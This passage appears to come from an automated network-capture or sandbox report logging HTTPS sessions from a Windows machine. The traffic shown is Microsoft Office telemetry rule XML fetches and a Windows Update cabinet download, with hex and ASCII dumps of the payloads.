2024-11-17 11:35:19 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:19 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:19 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:19 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: fa408a18-501e-0064-15b8-371f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113519Z-16547b76f7ff9zf4hC1DFW2pfc00000001wg00000000345a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:19 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:19 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:19 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:19 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 30aa96c6-b01e-0070-529f-371cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113519Z-164f84587bfrrmqdhC1DFWvu6s00000002xg000000002r71 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:19 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:19 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:19 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: add8cc3e-901e-0048-3610-36b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113519Z-1866b5c5fbbz7hb5hC1DFWru7c000000046g00000000492m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:19 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49750	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:19 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=bZl9wftxmLG4fdl&MD=tYp9rpOE HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-17 11:35:20 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: f1dd1b5a-6017-409e-bbcc-976c38d51c15 MS-RequestId: 2a6013ae-b9db-4896-91e2-a97ce5c327e4 MS-CV: ff2fr5x7akC09oWo.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 17 Nov 2024 11:35:19 GMT Connection: close Content-Length: 24490
2024-11-17 11:35:20 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-17 11:35:20 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:20 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:20 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 9666febd-501e-0035-5391-38c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113520Z-1866b5c5fbbpxkkxhC1DFWhvmc00000004hg0000000051c5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:20 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:20 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:20 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 27141695-f01e-003c-34af-368cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113520Z-1866b5c5fbbvz6qbhC1DFWsyms00000003b000000000bg8h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:20 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:20 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:20 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: a12cb5ef-101e-007a-7428-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113520Z-164f84587bflm48hhC1DFW0nf800000000y0000000009r8s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:20 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:20 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:20 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: a9c4265b-101e-000b-57af-365e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113520Z-16547b76f7fd77jrhC1DFWfwq000000000u000000000bhgr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:20 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:20 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:20 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 3a72ea48-301e-001f-4fd2-37aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113520Z-1866b5c5fbbzzh8chC1DFWdrc400000003wg000000007faq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:20 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:20 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:20 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: aa8338a3-a01e-0021-72a2-34814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113520Z-164f84587bft9l9khC1DFW32rc00000004a0000000002hnp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:21 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:20 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:21 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 8417a631-c01e-00a2-12c6-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113521Z-16547b76f7fz92z5hC1DFWmdx800000002n0000000000x8w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
